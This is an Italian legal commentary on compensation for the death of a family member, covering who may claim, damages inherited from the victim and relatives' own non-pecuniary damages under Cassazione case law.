Il risarcimento del danno da morte del congiunto
Il risarcimento del danno conseguente alla perdita della vita (“danno da morte” o “danno tanatologico”), nonchè la trasmissibilità del credito risarcitorio della vittima, rappresentano tematiche complesse e fortemente dibattute. C’è chi contesta la nozione stessa del danno cd tanatologico (Thanatos o Θάνατος = morte in greco), ritenendo non risarcibile, di per sé, la perdita della vita, ed unicamente ristorabile la lesione del bene salute; altri invece ritengono configurabile e risarcibile in via equitativa detto danno; vi è il problema di chi può chiedere il risarcimento, di durata della sofferenza prima del decesso per poter configurare il danno da morte, di sommare il danno “ereditato” da quello “proprio” (cioè il risarcimento per la propria sofferenza, ..), ..
1. Chi può chiedere il risarcimento del danno da morte del congiunto?
(a) Famiglia legittima
Secondo il più che stratificato orientamento giurisprudenziale formulato in ordine alla risarcibilità dei danni c.d. “riflessi” subiti dalle vittime secondarie della condotta integrante una fattispecie di reato, “ai prossimi congiunti della vittima di un reato (nella specie omicidio colposo) spetta iure proprio il diritto al risarcimento del danno, avuto riguardo al rapporto affettivo che lega il prossimo congiunto alla vittima, non essendo ostativi ai fini del riconoscimento di tale diritto né il disposto dell’art. 1223 del codice civile né quello di cui all’art. 185 del codice penale, in quanto anche tale danno trova causa diretta e immediata nel fatto illecito” (cfr. Cassazione civile, sez. un., 01 luglio 2002, n. 9556; Cassazione civile, sez. III, 28 novembre 2007, n. 24745).
L’assetto sistematico sancito dai giudici di legittimità in ordine all’individuazione dei soggetti legittimati ad agire per il risarcimento dei danni derivanti dalla morte del prossimo congiunto è stato, infatti, edificato sulla nozione della causalità e, quindi, sulla propagazione intersoggettiva delle conseguenze di uno stesso fatto illecito (per danno morale soggettivo da morte di congiunto cfr. Cass. 2915/71 1016/73 11396/97).
Un illecito di tale genere può, infatti, essere efinito “plurioffensivo” in quanto è idoneo a ledere interessi diversi in capo ad altrettanti diversi soggetti.
La Cassazione ha inoltre affermato il principio della “prevedibilità della colpa”, ritenendo che”ove l’uccisione di una persona abbia leso in pari tempo situazioni giuridiche di soggetti diversi, legati alla vittima primaria da un vincolo coniugale o parentale, deve ritenersi sussistente, in capo al soggetto che ha posto in essere la condotta che ha causato la morte, l’elemento della prevedibilità dell’evento in relazione alla lesione, in danno dei superstiti, dell’interesse all’intangibilità delle relazioni familiari, atteso che la prevedibilità dell’evento dannoso deve essere valutata in astratto, e non in concreto, e che rientra nella normalità il fatto che la vittima sia inserita in un nucleo familiare, come coniuge, genitore, figlio o fratello”.(cfr. Cassazione civile, sez. III, 31 maggio 2003, n. 8828)
In altri termini, si prospetta l’eventualità che, pur essendo unica la vittima del reato, l’illecito manifesti una potenzialità plurioffensiva, con la conseguenza che va accordata la tutela anche a soggetti diversi dalla vittima.
In tali ipotesi, il ristoro del danno non patrimoniale viene attribuito a soggetti diversi dalla vittima, purché l’evento dedotto (decesso o grave menomazione) sia causalmente ricollegabile al fatto illecito e quest’ultimo presenti gli elementi essenziali perché possa astrattamente configurarsi come reato.
La legittimazione ad agire, allora, è attribuita ai prossimi congiunti in vista della sussistenza in capo a costoro di sofferenze e patemi d’animo, cagionati dalla perdita e/o dalle sofferenze della persona cara e immediatamente ricollegabili all’illecito (il risarcimento “iure proprio” del danno subito in conseguenza dell’uccisione del de cuius è risarcibile quale “danno arrecato all’intangibilità della sfera degli affetti e della reciproca solidarietà nell’ambito della famiglia e all’inviolabilità della libera e piena esplicazione delle attività realizzatrici della persona umana nell’ambito di quella peculiare formazione sociale costituita dalla famiglia”, cfr. Cassazione civile, sez. III, 16 settembre 2008, n. 23725), nonché per la perdita dell’eventuale sostegno economico apportato dalla vittima (cfr. Cassazione civile 7.5.1983 n° 3116).
Il problema ulteriore, allora, risiede nella individuazione, nell’ampia cerchia dei congiunti, ai quali riconoscere la legittimazione a pretendere il ristoro.
Secondo l’orientamento tradizionale del Supremo Collegio (cfr. la pronuncia da ultimo richiamata) “il risarcimento del danno non patrimoniale, derivante dalla morte ex delicto, va riconosciuto in favore dei prossimi congiunti, iure proprio, cioè indipendentemente dalla loro qualità di eredi, quando il rapporto di stretta parentela con la vittima, le condizioni personali ed ogni altra circostanza del caso concreto evidenzino un grave perturbamento del loro animo e della loro vita familiare, per la perdita di un valido sostegno morale, e, pertanto, a prescindere dall’eventuale pregressa cessazione della situazione di convivenza con la vittima medesima, la quale di per sé non può che configurare un elemento indiziario idoneo a sorreggere la congettura del venir meno della comunione spirituale fra congiunti, con conseguente riduzione della sofferenza dei superstiti a un livello giuridicamente irrilevante”.
Sviluppando tali indicazioni, in mancanza di precipue disposizioni normative sul punto, ritiene lo scrivente di accedere alle seguenti regole – proposte da Tribunale Trento, 19 maggio 1995, in Nuova giur. civ. commen. 1995, I, 1017 – per il riconoscimento della legittimazione:
– possono presuntivamente considerarsi come legittimati ad agire il coniuge, i figli (anche in tenera età), i genitori, i fratelli e le sorelle: in breve, tutti i componenti della cosiddetta famiglia nucleare, per i quali appare irrilevante anche la cessazione della convivenza;
– quanto agli altri parenti ed affini (nonni, nipoti, zii, cugini, cognati, ecc.), la legittimazione può esser loro riconosciuta soltanto se, oltre all’esistenza del rapporto di parentela o di affinità, concorrano ulteriori circostanze (da dimostrare) atte a far ritenere che la lesione della vita o della salute del familiare abbia comportato la perdita di un effettivo e valido sostegno morale ovvero una grave alterazione della normale esistenza, non riscontrabile in mancanza di una situazione di convivenza, ove si tratti di soggetto che, per tipo di parentela, non abbia diritto ad essere assistito anche moralmente dalla vittima.
In sintesi, da un lato va ribadito che, in caso di fatto illecito plurioffensivo, ciascuno danneggiato è titolare di un autonomo diritto al risarcimento di tutto il danno, morale (cioè la sofferenza interiore soggettiva sul piano strettamente emotivo, nell’immediatezza dell’illecito, ma anche duratura nel tempo nelle sue ricadute, pur se non per tutta la vita), e dinamico-relazionale (altrimenti definibile “esistenziale”), consistente nel peggioramento delle condizioni e abitudini, interne ed esterne, di vita quotidiana (Cass. 20972 del 2012). Quindi, se l’illecito abbia gravemente compromesso il valore persona, come nel caso della definitiva perdita del rapporto matrimoniale e parentale, ciascuno dei familiari superstiti ha diritto, in proporzione alla durata e alla intensità del vissuto, alla composizione del restante nucleo che può prestare assistenza morale e materiale, avuto riguardo sia all’età della vittima primaria che a quella dei familiari danneggiati, alla personalità individuale di costoro, alla loro capacità di reazione e sopportazione del trauma, ed ad ogni altra circostanza del caso concreto – che deve esser allegata e provata, ancorché presuntivamente, secondo nozioni di comune esperienza, essendo danni – conseguenza, spettando alla controparte la prova contraria di situazioni che compromettono l’unità, la continuità e l’intensità del rapporto familiare – ad una liquidazione comprensiva di tutto il pregiudizio non patrimoniale subito (Cass. 1410, 24015 del 2011) (Corte di Cassazione, sez. III Civile, sentenza n. 9231/13; depositata il 17 aprile; si veda anche Corte di Cassazione, sez. III Penale, sentenza 4 giugno – 11 luglio 2013, n. 29735 in calce).
(b) famiglia naturale: i conviventi (cd. more uxorio)?
Secondo quanto riaffermato lo scorso 16 giugno 2014, sentenza n. 13654 dalla Terza Sezione Civile della Corte di Cassazione, il risarcimento del danno da uccisione di un prossimo congiunto spetta non solo ai membri della famiglia legittima, ma anche a quelli della c.d. famiglia naturale, a condizione che si dimostri l’esistenza di uno stabile e duraturo legame affettivo che, per la significativa comunanza di vita e di affetti, sia equiparabile al rapporto coniugale.
Si tratta, peraltro, di una legittimazione «ormai pacificamente ammessa dalla giurisprudenza di legittimità»; in particolare le più recenti sentenze della Suprema Corte hanno riconosciuto che il risarcimento del danno da uccisione di un prossimo congiunto spetta non solo ai membri della famiglia legittima, ma anche a quelli della c.d. famiglia naturale, a condizione che si dimostri l’esistenza di uno stabile e duraturo legame affettivo che, per la significativa comunanza di vita e di affetti, sia equiparabile al rapporto coniugale (così, più di recente, le sentenza 16 settembre 2008, n. 23725, sentenza 7 giugno 2011, n. 12278 e sentenza 21 marzo 2013, n. 7128).
2. I danni risarcibili iure hereditatis
In conseguenza di un evento mortale si producono delle conseguenze risarcitorie direttamente nel patrimonio della vittima destinate a trasmettersi in favore degli eredi secondo le ordinarie regole della successione mortis causa. Oltre ai danni patrimoniali (es. autevettura di proprità del defunto andata distrutta nell’incidente stradale, che verrà risarcita agli eredi), sono risarcibili anche i danni non patrimoniali.
(a) Il danno biologico
Secondo il costante orientamento della giurisprudenza di legittimità, perché possa ravvisarsi un risarcimento del danno biologico iure hereditario in favore degli eredi del soggetto deceduto, è necessario che tra la data del fatto e quella del decesso, sia decorso un lasso di tempo sufficiente a permettere un consolidamento del danno in oggetto, trattandosi di soluzione che oltre ad avere trovato l’avallo della giurisprudenza costituzionale nella sentenza n. 372 del 1994, non si pone in contrasto con le varie Convenzioni internazionali a tutela dei diritti dell’Uomo, avendo la Suprema Corte affermato che uno strumento di tutela del diritto alla vita è comunque apprestato dalla sanzione penale, non essendo possibile al giudice nazionale, non già disapplicare la norma interna in contrasto con quella sopranazionale, ma creare un diritto ex novo, come accadrebbe laddove si riconoscesse il diritto al risarcimento del cd. danno biologico da morte (cfr. Cassazione civile 23 febbraio 2004 n. 3549).
In altri termini, come recentemente chiarito dalla Corte di Nomofilachia, “la lesione dell’integrità fisica con esito letale, intervenuta immediatamente o a breve distanza dall’ evento lesivo, non è configurabile come danno biologico, giacché la morte non costituisce la massima lesione possibile del diritto alla salute, ma incide sul diverso bene giuridico della vita, a meno che non intercorra un apprezzabile lasso di tempo tra le lesioni subite dalla vittima del danno e la morte causata dalle stesse, nel qual caso, essendovi un’effettiva compromissione dell’integrità psico-fisica del soggetto che si protrae per la durata della vita, è configurabile un danno biologico risarcibile in capo al danneggiato, che si trasferisce agli eredi, i quali potranno agire in giudizio nei confronti del danneggiante “iure hereditatis”” (cfr. Cassazione civile, sez. III, 17 gennaio 2008, n. 870).
Soltanto ove sia fornita la prova del decorso di un apprezzabile lasso di tempo tra il verificarsi dell’evento lesivo ed il sopraggiungere della morte, nella sfera patrimoniale del de cuius sorge una posta risarcitoria come tale trasmissibile iure successionis ai suoi eredi, da determinarsi considerando i criteri di liquidazione propri per il calcolo della inabilità temporanea, poiché, quando il giudice adotta il criterio tabellare non può prendere come riferimento le tabelle per l’invalidità permanente, essendo queste formate sulla base della vita media futura presunta, e quindi il risarcimento va quindi commisurato al numero dei giorni di sopravvivenza della persona, tenendo conto che le lesioni ne hanno provocato la morte (cfr. Cassazione civile, sez. III, 09 ottobre 2009, n. 21497).
Sul concetto di apprezzabile lasso di tempo, o, meglio, sulla sua quantificazione, la Suprema Corte l’ha individuato, in più occasioni, in un tempo pari a 24 ore o anche tre giorni, idoneo a consentire la risarcibilità del danno biologico in capo alla vittima primaria e trasmissibile in via ereditaria (di recente però ha ritenuto che anche tre giorni non siano sufficienti a integrare il lasso di tempo utile: si veda Cass. 458/2009).
Esclusivamente in tale ipotesi, dunque, “il danneggiato acquisisce il diritto al risarcimento del danno biologico subito per l’effettiva durata della sua sopravvivenza….e si tratta di un danno alla salute, che se pure è temporaneo, è massimo nella sua entità ed intensità (cd. danno biologico terminale)”(cfr. Cass. civ, n. 18305/2003 cit., p. 5; Cass. civ. 16 maggio 2003 n. 7632).
Si evidenzia peraltro che la sentenza della Corte di Cassazione, sezione III civile, n.1361/2013 (depositata 23 gennaio 2014) ha (finalmente) contestato tale approccio.
Con tale innovativa pronuncia la Suprema Corte individua, per la prima volta, come categoria di danno non patrimoniale risarcibile ex se il danno da perdita della vita, quale bene supremo dell’individuo, oggetto di un diritto assoluto e inviolabile: tale danno, che è altro e diverso dal danno alla salute, in ragione del diverso bene tutelato, deve ritenersi di per sé ristorabile in favore della vittima che subisce la perdita della propria vita, e in relazione ad esso sono del tutto irrilevanti sia il presupposto della permanenza in vita per un apprezzabile lasso di tempo successivo all’evento morte sia il criterio della intensità della sofferenza della vittima per avere ella la percezione dell’imminente sopraggiungere della propria fine. La vittima acquisisce il diritto al risarcimento per la perdita della vita subìto, nel momento stesso in cui si verifica la lesione mortale e quindi anche in caso di morte immediata o istantanea, in deroga al principio dell’irrisarcibilità del danno evento: tale diritto, avendo poi natura compensativa, è trasmissibile iure hereditatis.
(b) Il danno morale
Viceversa, nel caso in cui la morte segua le lesioni dopo breve tempo, la sofferenza psichica patita dalla vittima delle lesioni fisiche integra un danno che deve essere qualificato, e risarcito iure haereditatis (con liquidazione ancorata alla gravità dell’offesa ed alla serietà del pregiudizio), come danno morale e non come danno biologico, giacché una tale sofferenza, di massima intensità anche se di durata contenuta, non è suscettibile, in ragione del limitato intervallo temporale tra lesione e morte, di degenerare in patologia (cfr. Cassazione civile, sez. III, 12 febbraio 2010, n. 3357).
Tuttavia, affinché possa riconoscersi tale pregiudizio morale, detto anche danno tanalogico, come tale trasmissibile “jure haereditatis”, la giurisprudenza è unanime nel richiedere la prova che la vittima sia stata in condizione di percepire il proprio stato, lucidamente assistendo allo spegnersi della propria vita, dovendosi escludere la risarcibilità del danno morale quando all’evento lesivo sia conseguito immediatamente lo stato di coma e la vittima non sia rimasta lucida nella fase che precede il decesso (cfr. Cassazione civile, sez. III, 28 novembre 2008, n. 28423; Cass. 17 gennaio 2008 n. 870; Cass. 24 ottobre 2007 n. 22338; Cass. 28 agosto 2007 n. 18163; Cassazione civile, sez. III, 13 gennaio 2009, n. 458).
3. I danni risarcibili iure proprio agli eredi
Oltre ai danni verificatisi nella sfera del defunto (e dunque trasmessi iure haereditatis), esistono anche i cc.dd. danni riflessi, i quali pur trovando la loro origine in un evento che colpisce la vittima principale, si producono nella sfera giuridica delle cc.dd. vittime secondarie, che acquistano il diritto al risarcimento del relativo pregiudizio, non in quanto eredi, ma in quanto danneggiati in proprio.
(a) Il danno biologico
Il riconoscimento ai familiari del danno biologico iure proprio per la morte del congiunto ha, quale presupposto, lo stato di alterazione psicofisica del richiedente, occorrendo, pertanto, che sussista un vero e proprio danno alla salute.
Tale danno costituisce il momento terminale di un processo patogeno originato dal medesimo turbamento dell’equilibrio psichico che sostanzia il danno morale soggettivo e che, in persone predisposte da particolari condizioni, anziché esaurirsi in un patema d’animo o in uno stato di angoscia transeunte, può degenerare in un trauma fisico o psichico permanente, alle cui conseguenze, in termini di perdita di qualità personali, e non semplicemente al pretium doloris in senso stretto, va allora commisurato il risarcimento (Cass. Civ. 5 gennaio 2001 n. 116).
Quanto, poi, alla prova dell’esistenza di un tale disturbo e del nesso causale con l’evento della perdita del congiunto, l’orientamento prevalente ed assolutamente condivisibile postula un concreto accertamento medico-legale sulla persona del richiedente, non potendosi giammai far ricorso a mere presunzioni semplici: è dunque necessario che v sia documentazione medica attestante uno stato di alterazione psico-fisica relativa alle persone dei vari istanti, sulla cui base il giudice può peraltro ritenere opportuno disporre una consulenza medico – legale funzionale all’accertamento della patologia affermata.
Quanto ai criteri di liquidazione del pregiudizio alla propria integrità fisica subito dagli istanti, occorre attenersi ai principi fissati dalle S.U. della Cassazione con la sentenza n. 26972/2008, la cui lettura costituzionalmente orientata dell’art. 2059 c.c. induce a riportare il sistema della responsabilità aquiliana nell’ambito della bipolarità tra danno patrimoniale e danno non patrimoniale con le seguenti implicazioni:
– se per un verso, il risarcimento del danno alla persona deve essere integrale, per altro verso devono evitarsi duplicazioni;
– il danno non patrimoniale è figura non suscettiva di suddivisione in sottocategorie ed il riferimento al danno biologico o al danno morale non può che avere valore meramente descrittivo;
– non è ammissibile nel nostro ordinamento l’autonoma categoria di danno esistenziale;
ogni sofferenza, fisica o psichica conseguente alle lesioni non può che essere oggetto di considerazione unitaria;
– la liquidazione della seconda in termini percentuali rispetto alla prima è operazione non condivisibile, poiché, ove per il ristoro in presenza di lesioni fisiche si utilizzino i criteri tabellari, deve comunque procedersi ad adeguata personalizzazione del danno valutando nella loro consistenza le reali sofferenze;
– se il pregiudizio biologico può facilmente accertarsi con strumenti medico-legali, il pregiudizio non biologico, attenendo ad un bene immateriale, ben può essere oggetto di valutazione equitativa, sempre che la parte richiedente abbia ottemperato allo specifico onere probatorio su di essa gravante.
(b) Danno morale e danno da perdita delle relazioni parentali
Appare opportuno, in termini generali, tracciare una premessa sul danno conseguente all’uccisione di un congiunto per la definitiva perdita del rapporto parentale, onde ricostruire l’evoluzione degli orientamenti giurisprudenziali delineati dalla Suprema Corte sulla tematica in oggetto, a partire dalle “sentenze gemelle” del maggio 2003, fino ai più recenti arresti giurisprudenziali elaborati dalle Sezioni Unite in materia di danno non patrimoniale (SS.UU. sentenze 11.11.2008 nn° 26972, 26973, 26974 e 26975).
Prima di giungere all’esposizione dei principi accolti nelle pronunce da ultimo citate, la Suprema Corte, con la sentenza n. 8828 del 31.5.2003, aveva avuto occasione di precisare che l’uccisione di una persona è evento pluri-offensivo idoneo, in quanto tale, ad estinguere contemporaneamente il bene-vita della vittima primaria ed il vincolo parentale con i congiunti di questa, ledendo in tal modo l’interesse di rilevanza costituzionale alla intangibilità della sfera degli affetti reciproci e della scambievole solidarietà tra i familiari.
Si sosteneva, perché possa ravvisarsi l’illecito aquiliano, è necessario innanzitutto che ricorra il nesso di causalità materiale tra la condotta del colpevole e la morte della vittima primaria, e quindi diviene necessario selezionare tra le possibili conseguenze quelle meritevoli di risarcimento, sì da delineare il nesso di causalità giuridica, dovendosi, infine, riscontrare l’elemento soggettivo del dolo o della colpa in capo all’autore dell’illecito.
Ricorrendo tali presupposti, il danno che ne derivava, ascritto alla categoria dei danni non patrimoniali, atteso che il bene pregiudicato è insuscettibile di diretta valutazione economica, veniva denominato danno da uccisione di un congiunto e si identificava con la irreversibile e permanente privazione della reciprocità affettiva.
Esso, si diceva, è ontologicamente proiettato verso il futuro e può, dunque, affiancarsi e convivere col danno morale soggettivo contingente, inteso quale transeunte sofferenza indotta dall’ingiustizia patita.
Secondo tale impostazione, poi, il danno non patrimoniale da perdita del rapporto parentale e il danno morale soggettivo concorrevano nel delineare l’unica riparazione concessa alla vittima dell’illecito, così che la loro attribuzione congiunta postulava l’attenta ponderazione delle poste risarcitorie onde evitare il rischio di duplicazioni del risarcimento.
L’uno riparava, come detto, lo stato di afflizione, di turbamento anche profondo, di dolore cagionato dalla morte di un proprio caro, l’altro risarciva la lesione di un interesse protetto, quello all’integrità del vincolo familiare.
La liquidazione di quest’ultimo, vertendosi in tema di lesione di valori inerenti alla persona, in quanto tali privi di contenuto economico, non poteva che avvenire in base ad una valutazione equitativa (artt. 1226 e 2056 c.c.), tenuto conto dell’intensità del vincolo familiare, della situazione di convivenza, e di ogni ulteriore utile istanza, quali la consistenza più o meno ampia del nucleo familiare, le abitudini di vita, l’età della vittima e dei singoli superstiti.
Tuttavia, costituendo nel contempo funzione e limite del risarcimento del danno alla persona, unitariamente considerata, la riparazione del pregiudizio effettivamente subito, il giudice di merito, nel caso di attribuzione congiunta del danno morale soggettivo e del danno da perdita del rapporto parentale, doveva considerare, nel liquidare il primo, la più limitata funzione di ristoro della sofferenza contingente che gli era riconosciuta, poiché, diversamente, sarebbe stato concreto il rischio di una duplicazione del risarcimento.
In altri termini, il giudice era chiamato ad assicurare il raggiungimento di un giusto equilibrio tra le varie voci che concorrono a determinare il complessivo risarcimento (per tali argomentazioni si veda Cassazione civile n. 15179 del 2004).
Tali assunti, sebbene dal punto di vista definitorio sembrano essere stati confermati dalla giurisprudenza delle Sezioni Unite, perlomeno rispetto alla categoria del “danno parentale”, risultano disattesi precipuamente nella parte relativa alla possibilità di una duplice liquidazione del danno morale soggettivo, trovando oramai spazio un unica voce di danno non patrimoniale che, nella specie, è interamente assorbita dalla categoria del danno parentale da morte del congiunto.
Rispetto alla questione in esame, le SS.UU hanno affermato che non può più trovare spazio una duplice liquidazione del danno morale soggettivo e del danno parentale, perché la sofferenza patita nel momento della perdita del congiunto, sia nel momento in cui viene percepita sia nell’arco delle propria esistenza, costituisce una forma di pregiudizio suscettibile di un unico integrale ristoro (nozione ripresa da SS.UU. sent. n° 557/09).
In definitiva, nella nuova sistematica del danno non patrimoniale delineata dalle Sezioni Unite, la perdita di una persona cara implica necessariamente una sofferenza morale, la quale non costituisce un danno autonomo, ma rappresenta un aspetto del quale tenere conto, unitamente a tutte le altre conseguenze, nella liquidazione unitaria ed omnicomprensiva del danno non patrimoniale.
Ne consegue che “è inammissibile, costituendo una duplicazione risarcitoria, la congiunta attribuzione, al prossimo congiunto di persona deceduta in conseguenza di un fatto illecito costituente reato, del risarcimento a titolo di danno da perdita del rapporto parentale, del danno morale, inteso quale sofferenza soggettiva, ma che in realtà non costituisce che un aspetto del più generale danno non patrimoniale” (cfr. Cassazione civile, Sez. Un., 11 novembre 2008, n. 26972).
I nuovi arresti giurisprudenziali, tuttavia, pongono sul piano pratico-applicativo la necessità di individuare i criteri di liquidazione del danno morale scaturente dalla perdita del rapporto parentale, considerato nella sua rinnovata e unitaria configurazione.
Anche sotto questo specifico aspetto problematico non si può prescindere dai principi enucleati dalle Sezioni Unite nella citata sentenza.
Il Supremo Collegio, infatti, soffermatosi proprio sul rapporto tra danno biologico e danno morale o sofferenza morale, ha nuovamente ribadito l’autonomia ontologica delle due categorie di danno, risarcendo gli stessi interessi costituzionalmente rilevanti di differente natura, poiché mentre il primo ristora il diritto alla salute, l’altro invece mira a risarcire l’integrità morale della persona, protetta dall’art. 2 Cost., in relazione all’art. 1 del Trattato di Nizza, del Trattato di Lisbona, ratificato dall’Italia con legge 2 agosto 2008 n. 190.
In tal modo argomentando, la giurisprudenza di legittimità ha di fatto definitivamente sconfessato le tecniche liquidatorie del danno che tengono conto dei parametri tabellari previsti per la liquidazione del danno biologico, affermando la necessità che si pervenga ad una sua liquidazione personalizzata, di matrice equitativa, incentrata sulle condizioni soggettive della vittima e sulla gravità del fatto (cfr. Cass. n° 28407 del 2008; Cass. 29191 del 2008).
In particolare, viene evidenziata la necessità che, anche nel caso di danno morale, si pervenga ad una liquidazione che, valorizzando l’autonomia della sofferenza interiore, consideri le condizioni soggettive del danneggiato, senza attribuire al valore dell’integrità morale una quota minore rispetto al danno alla salute (cfr. Cass. 29191 del 2008).
Ciò posto, alla luce dei principi affermati dalla Corte, pare da abbandonare il sistema di liquidazione del danno parentale che ancorava la posta risarcitoria spettante al congiunto al danno morale della vittima, secondo un’oscillazione individuata tra un quarto e la metà del danno biologico subito dalla persona deceduta, modulando l’individuazione delle somme al grado di parentela, alla convivenza ed all’età della vittima.
Tale somma individuava il risarcimento del danno morale del congiunto a cui si aggiungeva una percentuale in aumento (20% o 30%) quale risarcimento del danno da lesione del vincolo parentale.
Oggi, tali tecniche di liquidazione devono ritenersi superate, sicché si impone una riflessione volta ad affrancare il sistema di liquidazione della sofferenza morale, intesa come danno parentale nella sua interezza, dal danno biologico della vittima primaria.
Si propugna, cioè, l’opportunità di individuare poste risarcitorie variabili, contenute tra un limite massimo ed un limite minimo, che tengano altresì conto dei parametri più volte enucleati dalla giurisprudenza di legittimità (età della vittima, grado di parentela, convivenza, legami affettivi provati, etc..).
Tale sistema consente di approdare ad una forma risarcitoria che, valorizzando esclusivamente la lesione della dimensione non patrimoniale, nella specie definitoria di danno parentale, patita dai prossimi congiunti, individui una posta liquidatoria per equivalente in cui sia ricompreso anche il pregiudizio subito dai prossimi familiari della vittima.
In definitiva, tale nuova configurazione assunta dal danno non patrimoniale non permette di riproporre gli standard di liquidazione adottati in passato per il danno morale subiettivo, coincidente con il pretium doloris, ma è altrettanto evidente che occorre scongiurare il pericolo, peraltro paventato dagli stessi giudici di legittimità nel momento in cui hanno adottato il loro nuovo corso interpretativo sull’art. 2059 c.c., di incorrere in duplicazioni risarcitorie, liquidando più volte il medesimo pregiudizio.
In altri termini, le compromissioni della sfera affettivo-familiare (vecchio danno da perdita del rapporto parentale), suscettibili di integrare la dimensione oggettiva del nuovo ed unitario danno da perdita del congiunto, dovranno oggi essere valutate dal Giudice – a fianco ed in aggiunta rispetto alla dimensione soggettiva del relativo pregiudizio (sofferenza) – soltanto quando esse (compromissioni) presentino una rilevanza ed un disvalore autonomo che prescinda dalla “sofferenza subiettiva” del soggetto.
Quando di contro tali compromissioni abbiano a riferimento aspetti già presi in considerazione nella loro proiezione (negativa), in quanto causa di una sofferenza già valutata, non andranno nuovamente apprezzate, dandosi altrimenti luogo ad una duplicazione risarcitoria di un identico ed unico pregiudizio (solo guardato da angoli prospettici differenti, cioè prima soggettivo e poi oggettivo).
Tale conclusione appare perfettamente rispondente all’insegnamento impartito dalle Sezioni Unite nella già citata sentenza del novembre 2008.
Quest’ultime, infatti, affermando che dovevano andare abbandonate le distinte sotto-categorie di danno non patrimoniale cui una lunghissima elaborazione giurisprudenziale aveva sempre fatto ricorso ai fini della liquidazione (danno biologico, danno morale, danno da perdita di rapporto parentale), non solo propugnavano un deciso superamento dei rigidi schemi valutativi e delle standardizzate tecniche di liquidazione che fino ad oggi avevano trovato applicazione nelle Corti di merito, ma anche l’impossibilità di condividere l’ampia applicazione della “tradizionale figura del cd. danno morale soggettivo” così come riferita alla sola sofferenza “transeunte”.
Chiarivano che tale “figura (danno morale), recepita per lungo tempo dalla pratica giurisprudenziale, aveva fondamento normativo assai dubbio, poiché né l’art. 2059 c.c. né l’art. 185 c.p. parlano di danno morale, e tantomeno lo dicono rilevante solo se sia transitorio, ed era carente anche sul piano della adeguatezza della tutela, poiché la sofferenza morale cagionata dal reato non è necessariamente transeunte, ben potendo l’effetto penoso protrarsi anche per lungo tempo”.
Perciò, “nell’ambito della categoria generale del danno non patrimoniale, la formula “danno morale” non individua(va) una autonoma sottocategoria di danno, ma descrive(va), tra i vari possibili pregiudizi non patrimoniali, un tipo di pregiudizio, costituito dalla sofferenza soggettiva cagionata dal reato in sé considerata. Sofferenza la cui intensità e durata nel tempo non assumevano rilevanza ai fini della esistenza del danno, ma solo della quantificazione del risarcimento”.
Le affermazioni delle SS.UU. hanno spiegato effetti nella costruzione del danno da perdita del congiunto fino ad oggi invalsa.
Anzitutto, dopo le citate SS.UU., non è più condivisibile il postulato per cui colui che abbia perduto in modo violento un familiare può accampare a suo diritto due distinte ragioni risarcitorie: una relativa al cd. danno morale soggettivo ed un’altra relativa al cd. danno da “perdita di rapporto parentale” (giur. supra).
Vero è, di contro, che il soggetto in questione riceve dalla perdita sempre e solo un unico danno, cioè il nuovo ed omnicomprensivo “danno non patrimoniale”, mentre le precedenti e menzionate sottocategorie del primo, lungi dall’assumere una rilevanza giuridicamente autonoma, saranno utili solo alla più corretta individuazione contenutistica dell’unitario pregiudizio ex art. 2059 c.c..
Sulla base di tali premesse, allora, appare corretto affermare che il danno da perdita del congiunto può assumere, in linea generale, una duplice connotazione: una soggettiva, un’altra oggettiva.
La prima attiene a tutte le conseguenze soggettive che derivano al danneggiato dalla privazione del vincolo parentale inciso.
Si ha riguardo, sotto tale profilo, al dispiacere, allo strazio, all’angoscia, insomma a tutti gli sconvolgimenti dell’animo che è costretto a vivere il soggetto che abbia subito la perdita; tali sofferenze, peraltro, non vanno più limitate – oggi – solo a quelle provate dall’interessato al momento del fatto (vecchio danno morale soggettivo “transeunte”), ben potendo ricomprendere i patimenti soggettivi dell’individuo capaci di durare nel tempo e protrarsi negli anni a decorrere dal fatto illecito (nuova configurazione del danno morale da sofferenza, SS.UU.).
La seconda dimensione del danno riguarda i riflessi oggettivi della lesione de qua.
Rilevano in tal caso tutte le compromissioni e gli effetti negativi che l’individuo subisce nell’ambito della sua sfera familiare, dotati di un loro autonomo disvalore a prescindere dalla sofferenza soggettiva cagionata alla sfera interiore (vecchio danno da perdita di rapporto parentale).
Ne consegue che la sofferenza deve oggi essere risarcita non solo in ragione della sua sussistenza al momento dell’illecito (vecchio danno morale transeunte), ma anche con riguardo alla sua intensità, durata e proiezione futura nel tempo a decorrere dalla lesione (SS.UU. 2008), e quindi essa diviene capace – per sua stessa natura – di ricomprendere pure le conseguenze esistenziali/familiari che, in passato, erano etichettate sotto forma di danno da perdita del rapporto parentale.
Pertanto, una volta che le ricadute personalistico / familiari della lesione implichino esse stesse, dal lato soggettivo, una “sofferenza” nel tempo (il che accade di frequente), è evidente che, ove una tale sofferenza sia già tutta compiutamente apprezzata dal Giudice nella liquidazione “soggettiva” del danno, non residuerebbe alcun nuovo effetto “oggettivo” (vecchio danno da perdita di rapporto parentale) suscettibile di essere ulteriormente valutato, in un’ottica di integrale risarcimento del pregiudizio.
Le ragioni dianzi esposte, pertanto, rendono di particolare attualità il profilo dell’allegazione e della prova delle ripercussioni, oggettive e soggettive, che la perdita del congiunto ha causato sulla sfera individuale e familiare degli attori.
Tale impostazione è perfettamente in linea con l’insegnamento predicato dalla giurisprudenza di legittimità anche anteriormente al citato arresto delle Sezioni Unite, in forza del quale il danno non patrimoniale da uccisione di congiunto, quale tipico danno – conseguenza, non coincide con la lesione dell’interesse (non è in re ipsa) e, come tale, esso deve essere allegato e provato da chi domanda il relativo risarcimento (Cassazione civile, sez. III, 30 ottobre 2007, n. 2288; In senso conforme Cass. civ., 12 giugno 2006, n. 13546).
In tema di uccisione del familiare migliore giurisprudenza (Tribunale Nola sez. II, 18 agosto 2010, GU Maffei, ampiamente chiosata nella prsente ricostruzione), ritiene che già la mera doglianza del fatto illecito comporti la deduzione di tutti i riflessi negativi che normalmente conseguono dalla lesione allegata (sofferenza e violazione minima dell’integrità familiare), soprattutto in presenza di rapporti parentali di particolare vicinanza.
Ciò in quanto le ricadute della perdita di un congiunto, essendo intrinsecamente connesse a quest’ultima, presentano una natura di tale immediata evidenza da non richiedere apposita enunciazione assertiva in sede di formulazione della domanda.
Pertanto tali conseguenze, nei limiti della loro ordinarietà, vanno ritenute sempre (seppur implicitamente) addotte con la semplice allegazione della morte, non potendosi dare rilievo ad un diverso ed eccessivo formalismo espositivo.
